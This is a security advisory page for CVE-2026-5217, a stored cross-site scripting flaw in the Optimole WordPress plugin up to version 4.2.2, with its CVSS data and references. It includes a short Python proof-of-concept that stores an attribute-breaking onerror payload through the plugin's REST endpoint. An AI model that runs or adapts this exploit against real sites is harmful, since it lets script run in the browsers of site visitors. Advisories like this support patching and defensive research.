Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-5217 CVSS 7.2 HIGH

CVE-2026-5217

Published: 2026-04-11 02:16:03
Last Modified: 2026-04-24 18:00:32

Description

The Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.2.2. This is due to insufficient input sanitization and output escaping on the user-supplied 's' parameter (srcset descriptor) in the unauthenticated /wp-json/optimole/v1/optimizations REST endpoint. The endpoint validates requests using an HMAC signature and timestamp, but these values are exposed directly in the frontend HTML making them accessible to any visitor. The plugin uses sanitize_text_field() on the descriptor value of rest.php, which strips HTML tags but does not escape double quotes. The poisoned descriptor is then stored via transients (backed by the WordPress options table) and later retrieved and injected verbatim into the srcset attribute of tag_replacer.php without proper escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Optimole Plugin <= 4.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target WordPress site url = 'http://target-wordpress.com/wp-json/optimole/v1/optimizations' # Extracted valid signature and timestamp from frontend HTML source code # Attackers can scrape these values because they are exposed in the page params = { 'signature': 'EXPOSED_HMAC_SIGNATURE_FROM_HTML', 'timestamp': 'EXPOSED_TIMESTAMP_FROM_HTML', # Malicious payload using double quotes to break out of the srcset attribute. # sanitize_text_field removes tags but allows double quotes. 's': '1x" onerror="alert(1)' } # 1. Inject the payload response = requests.get(url, params=params) if response.status_code == 200: print("Payload stored successfully. XSS will trigger on page load.") else: print(f"Failed to inject payload. Status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5217", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:02.953", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.2.2. This is due to insufficient input sanitization and output escaping on the user-supplied 's' parameter (srcset descriptor) in the unauthenticated /wp-json/optimole/v1/optimizations REST endpoint. The endpoint validates requests using an HMAC signature and timestamp, but these values are exposed directly in the frontend HTML making them accessible to any visitor. The plugin uses sanitize_text_field() on the descriptor value of rest.php, which strips HTML tags but does not escape double quotes. The poisoned descriptor is then stored via transients (backed by the WordPress options table) and later retrieved and injected verbatim into the srcset attribute of tag_replacer.php without proper escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/rest.php#L1008", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/rest.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/tags/4.2.1/inc/tag_replacer.php#L526", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/rest.php#L1008", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/rest.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/optimole-wp/trunk/inc/tag_replacer.php#L526", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/50417068-339a-4ae5-9c90-8f08f54ce0af?source=cve", "source": "[email protected]"}]}}